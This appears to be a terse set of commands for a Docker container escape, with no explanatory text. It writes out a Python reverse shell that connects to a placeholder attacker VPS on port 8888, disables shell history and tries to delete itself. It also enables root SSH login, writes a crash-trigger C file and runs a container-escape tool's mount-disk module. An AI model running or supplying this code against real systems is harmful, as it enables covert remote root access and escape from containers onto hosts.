apt-get update

apt-get install curl

curl -fsSL https://get.docker.com/ | sh

PubkeyAuthentication yes

PermitRootLogin yes

AuthorizedKeysFile .ssh/authorized_keys

cat >/tmp/exp.py << EOF

import os

import pty

import socket

lhost = "your_vps_ip"

lport = 8888

def main():

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((lhost, lport))

os.dup2(s.fileno(), 0)

os.dup2(s.fileno(), 1)

os.dup2(s.fileno(), 2)

os.putenv("HISTFILE", '/dev/null')

pty.spawn("/bin/bash")

os.remove('/tmp/.x.py')

s.close()

if __name__ == "__main__":

main()

EOF

cat >/tmp/exp.c << EOF

int main(void)

{

int *a = NULL;

*a = 1;

return 0;

}

EOF

mount | grep cgroup

ls -l /sys/fs/cgroup

./cdk run mount-disk